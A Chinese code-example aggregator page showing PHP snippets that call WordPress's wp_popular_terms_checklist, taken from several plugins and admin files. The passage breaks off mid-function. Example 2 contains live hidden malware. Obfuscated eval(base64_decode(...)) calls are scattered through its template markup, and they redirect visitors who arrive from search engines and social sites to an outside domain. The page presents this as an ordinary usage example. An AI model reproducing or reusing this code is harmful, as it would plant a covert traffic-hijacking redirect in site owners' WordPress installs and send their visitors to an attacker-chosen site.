本文整理汇总了PHP中wp_popular_terms_checklist函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_popular_terms_checklist函数的具体用法?PHP wp_popular_terms_checklist怎么用?PHP wp_popular_terms_checklist使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_popular_terms_checklist函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: post_lang_choice
public function post_lang_choice()
{
check_ajax_referer('pll_language', '_pll_nonce');
global $post_ID;
// obliged to use the global variable for wp_popular_terms_checklist
$post_ID = (int) $_POST['post_id'];
$post_type = get_post_type($post_ID);
$lang = $this->model->get_language($_POST['lang']);
$post_type_object = get_post_type_object($post_type);
if (!current_user_can($post_type_object->cap->edit_post, $post_ID)) {
wp_die(-1);
}
$this->model->set_post_language($post_ID, $lang);
// save language, useful to set the language when uploading media from post
ob_start();
if ($lang) {
include PLL_ADMIN_INC . '/view-translations-post.php';
}
$x = new WP_Ajax_Response(array('what' => 'translations', 'data' => ob_get_contents()));
ob_end_clean();
// categories
if (isset($_POST['taxonomies'])) {
// not set for pages
foreach ($_POST['taxonomies'] as $taxname) {
$taxonomy = get_taxonomy($taxname);
ob_start();
$popular_ids = wp_popular_terms_checklist($taxonomy->name);
$supplemental['populars'] = ob_get_contents();
ob_end_clean();
ob_start();
// use $post_ID to remember ckecked terms in case we come back to the original language
wp_terms_checklist($post_ID, array('taxonomy' => $taxonomy->name, 'popular_cats' => $popular_ids));
$supplemental['all'] = ob_get_contents();
ob_end_clean();
$supplemental['dropdown'] = wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —', 'echo' => 0));
$x->Add(array('what' => 'taxonomy', 'data' => $taxonomy->name, 'supplemental' => $supplemental));
}
}
// parent dropdown list (only for hierarchical post types)
if (in_array($post_type, get_post_types(array('hierarchical' => true)))) {
require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';
ob_start();
page_attributes_meta_box(get_post($post_ID));
$x->Add(array('what' => 'pages', 'data' => ob_get_contents()));
ob_end_clean();
}
// flag
$x->Add(array('what' => 'flag', 'data' => empty($lang->flag) ? esc_html($lang->slug) : $lang->flag));
$x->send();
}
示例2: link_categories_meta_box
/**
* Display link categories form fields.
*
* @since 2.6.0
*
* @param object $link
*/
function link_categories_meta_box($link)
{
?>
<ul id="category-tabs">
<li class="tabs"><a href="#categories-all"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('All Categories');
?>
</a></li>
<li class="hide-if-no-js"><a href="#categories-pop"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Most Used');
?>
</a></li>
</ul>
<div id="categories-all" class="tabs-panel">
<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if (isset($link->link_id)) {
wp_link_category_checklist($link->link_id);
} else {
wp_link_category_checklist();
}
?>
</ul>
</div>
<div id="categories-pop" class="tabs-panel" style="display: none;">
<ul id="categorychecklist-pop" class="categorychecklist form-no-clear">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6c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poZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
wp_popular_terms_checklist('link_category');
?>
</ul>
</div>
<div id="category-adder" class="wp-hidden-children">
<h4><a id="category-add-toggle" href="#category-add"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('+ Add New Category');
?>
</a></h4>
<p id="link-category-add" class="wp-hidden-child">
<label class="screen-reader-text" for="newcat"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('+ Add New Category');
?>
</label>
<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
esc_attr_e('New category name');
?>
" aria-required="true" />
<input type="button" id="category-add-submit" class="add:categorychecklist:linkcategorydiv button" value="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgK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ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
wp_nonce_field('add-link-category', '_ajax_nonce', false);
?>
<span id="category-ajax-response"></span>
</p>
</div>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
示例3: print_cpt_onomy_meta_box
//.........这里部分代码省略.........
echo $taxonomy;
?>
"><?php
_e($tax->labels->choose_from_most_used, CPT_ONOMIES_TEXTDOMAIN);
?>
</a></p>
<?php
}
break;
case 'dropdown':
// get ALL info and then extract IDs because of ID conflict with regular taxonomies
$selected_terms = wp_get_object_terms($post->ID, $taxonomy);
// we only need the first term for a dropdown
$selected_term = $selected_terms ? array_shift($selected_terms)->term_id : 0;
// because the dropdown function only has 'exclude', if 'include' is set,
// we have to get all of the terms and exclude everything but what's in 'include'
$dropdown_exclude_term_ids = array();
if ($include_term_ids) {
// get all terms for this taxonomy that are not in 'include'
foreach (get_terms($taxonomy, array('hide_empty' => false, 'fields' => 'ids')) as $term_id) {
if (!in_array($term_id, $include_term_ids)) {
$dropdown_exclude_term_ids[] = $term_id;
}
}
}
// make sure 'exclude' term ids are included
if ($exclude_term_ids) {
$dropdown_exclude_term_ids = array_unique(array_merge($dropdown_exclude_term_ids, $exclude_term_ids));
}
$dropdown = wp_dropdown_categories(array('show_option_none' => 'No ' . $tax->labels->all_items . ' are selected', 'orderby' => 'name', 'order' => 'ASC', 'show_count' => false, 'hide_empty' => false, 'exclude' => $dropdown_exclude_term_ids, 'echo' => false, 'selected' => $selected_term, 'hierarchical' => is_post_type_hierarchical($taxonomy), 'name' => CPT_ONOMIES_POSTMETA_KEY . '[' . $taxonomy . '][]', 'id' => 'taxonomy-' . $taxonomy, 'class' => 'category cpt_onomies', 'taxonomy' => $taxonomy, 'hide_if_empty' => false));
// need to add disabled to select element
// as a backup, this attribute is also checked in admin-post.js
if ($disabled) {
$dropdown = preg_replace('/^\\<select/', '<select' . $disabled, $dropdown);
}
// print dropdown
echo $dropdown;
break;
case 'checklist':
default:
?>
<div id="taxonomy-<?php
echo $taxonomy;
?>
" class="categorydiv cpt_onomies">
<ul id="<?php
echo $taxonomy;
?>
-tabs" class="category-tabs">
<li class="tabs"><a href="#<?php
echo $taxonomy;
?>
-all" tabindex="3"><?php
_e($tax->labels->all_items, CPT_ONOMIES_TEXTDOMAIN);
?>
</a></li>
<li class="hide-if-no-js"><a href="#<?php
echo $taxonomy;
?>
-pop" tabindex="3"><?php
_e('Most Used', CPT_ONOMIES_TEXTDOMAIN);
?>
</a></li>
</ul>
<div id="<?php
echo $taxonomy;
?>
-pop" class="tabs-panel" style="display:none;">
<ul id="<?php
echo $taxonomy;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($taxonomy);
?>
</ul>
</div>
<div id="<?php
echo $taxonomy;
?>
-all" class="tabs-panel">
<ul id="<?php
echo $taxonomy;
?>
checklist" class="list:<?php
echo $taxonomy;
?>
categorychecklist form-no-clear">
<?php
wp_terms_checklist($post->ID, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'walker' => new CPTonomy_Walker_Terms_Checklist()));
?>
</ul>
</div>
</div><?php
break;
}
}
}
示例4: slidedeck2_post_categories_meta_box
function slidedeck2_post_categories_meta_box($post, $box)
{
$defaults = array('taxonomy' => 'category');
if (!isset($box['args']) || !is_array($box['args'])) {
$args = array();
} else {
$args = $box['args'];
}
extract(wp_parse_args($args, $defaults), EXTR_SKIP);
$tax = get_taxonomy($taxonomy);
?>
<div id="taxonomy-<?php
echo $taxonomy;
?>
" class="categorydiv">
<ul id="<?php
echo $taxonomy;
?>
-tabs" class="category-tabs">
<li class="tabs"><a href="#<?php
echo $taxonomy;
?>
-all" tabindex="3"><?php
echo $tax->labels->all_items;
?>
</a></li>
<li class="hide-if-no-js"><a href="#<?php
echo $taxonomy;
?>
-pop" tabindex="3"><?php
_e('Most Used');
?>
</a></li>
</ul>
<div id="<?php
echo $taxonomy;
?>
-pop" class="tabs-panel" style="display: none;">
<ul id="<?php
echo $taxonomy;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($taxonomy);
?>
</ul>
</div>
<div id="<?php
echo $taxonomy;
?>
-all" class="tabs-panel">
<?php
$name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $taxonomy . ']';
echo "<input type='hidden' name='{$name}[]' value='0' />";
// Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
?>
<ul id="<?php
echo $taxonomy;
?>
checklist" class="list:<?php
echo $taxonomy;
?>
categorychecklist form-no-clear">
<?php
wp_terms_checklist(0, array('taxonomy' => $taxonomy, 'selected_cats' => $args['selected_cats'], 'popular_cats' => $popular_ids));
?>
</ul>
</div>
</div>
<?php
}
示例5: _e
<ul id="category-tabs" class="category-tabs">
<li class="tabs"><a href="#category-all"><?php
echo $tax->labels->all_items;
?>
</a></li>
<li class="hide-if-no-js"><a href="#category-pop"><?php
_e('Most Used');
?>
</a></li>
</ul>
<div id="category-pop" class="tabs-panel" style="display: none;">
<ul id="categorychecklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist('category');
?>
</ul>
</div>
<div id="category-all" class="tabs-panel">
<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
<?php
wp_terms_checklist($post_ID, array('taxonomy' => 'category', 'popular_cats' => $popular_ids));
?>
</ul>
</div>
<?php
if (!current_user_can($tax->cap->assign_terms)) {
?>
示例6: postBoxCategories
/**
* Creates the Postbox for category selection
* @param $selected_cats
* @param $view
* @return unknown_type
*/
function postBoxCategories($selected_cats, $view = false)
{
if ($view == false) {
$defaults = array('taxonomy' => 'category');
$args = array();
/*if ( !isset($box['args']) || !is_array($box['args']) )
$args = array();
else
$args = $box['args'];*/
extract(wp_parse_args($args, $defaults), EXTR_SKIP);
$tax = get_taxonomy($taxonomy);
?>
<div id="taxonomy-<?php
echo $taxonomy;
?>
" class="categorydiv">
<ul id="<?php
echo $taxonomy;
?>
-tabs" class="category-tabs">
<li class="tabs"><a href="#<?php
echo $taxonomy;
?>
-all" tabindex="3"><?php
echo $tax->labels->all_items;
?>
</a></li>
<li class="hide-if-no-js"><a href="#<?php
echo $taxonomy;
?>
-pop" tabindex="3"><?php
_e('Most Used');
?>
</a></li>
</ul>
<div id="<?php
echo $taxonomy;
?>
-pop" class="tabs-panel" style="display: none;">
<ul id="<?php
echo $taxonomy;
?>
checklist-pop" class="categorychecklist form-no-clear" >
<?php
$popular_ids = wp_popular_terms_checklist($taxonomy);
?>
</ul>
</div>
<div id="<?php
echo $taxonomy;
?>
-all" class="tabs-panel">
<?php
$name = $taxonomy == 'category' ? 'post_category' : 'tax_input[' . $taxonomy . ']';
echo "<input type='hidden' name='{$name}[]' value='0' />";
// Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks.
?>
<ul id="<?php
echo $taxonomy;
?>
checklist" class="list:<?php
echo $taxonomy;
?>
categorychecklist form-no-clear">
<?php
wp_terms_checklist(0, array('taxonomy' => $taxonomy, 'popular_cats' => $popular_ids, 'selected_cats' => $selected_cats));
?>
</ul>
</div>
<?php
if (!current_user_can($tax->cap->assign_terms)) {
?>
<p><em><?php
_e('You cannot modify this taxonomy.');
?>
</em></p>
<?php
}
?>
<?php
if (current_user_can($tax->cap->edit_terms)) {
?>
<div id="<?php
echo $taxonomy;
?>
-adder" class="wp-hidden-children">
<h4>
<a id="<?php
echo $taxonomy;
?>
-add-toggle" href="#<?php
//.........这里部分代码省略.........
示例7: _wp_ajax_delete_comment_response
_wp_ajax_delete_comment_response($comment->comment_ID);
die('0');
break;
case 'add-category':
// On the Fly
check_ajax_referer($action);
if (!current_user_can('manage_categories')) {
die('-1');
}
$names = explode(',', $_POST['newcat']);
if (0 > ($parent = (int) $_POST['newcat_parent'])) {
$parent = 0;
}
$post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array();
$checked_categories = array_map('absint', (array) $post_category);
$popular_ids = wp_popular_terms_checklist('category', 0, 10, false);
foreach ($names as $cat_name) {
$cat_name = trim($cat_name);
$category_nicename = sanitize_title($cat_name);
if ('' === $category_nicename) {
continue;
}
$cat_id = wp_create_category($cat_name, $parent);
$checked_categories[] = $cat_id;
if ($parent) {
// Do these all at once in a second
continue;
}
$category = get_category($cat_id);
ob_start();
wp_category_checklist(0, $cat_id, $checked_categories, $popular_ids);
示例8: get_taxonomy_terms_by
/**
* @param $taxonomy
* @param $args
* Retrieves an array of taxonomy terms, filtered by various parameters.
* @return array|WP_Error
*/
public static function get_taxonomy_terms_by($taxonomy, $args)
{
global $wpdb;
wp_cache_flush();
$lang = false;
$post_id = false;
$check_popular = false;
extract($args, EXTR_OVERWRITE);
$pop_items = false;
$element_type = 'tax_' . $taxonomy;
if ($check_popular) {
$pop_items = wp_popular_terms_checklist($taxonomy, $default = 0, $number = 10, $echo = false);
}
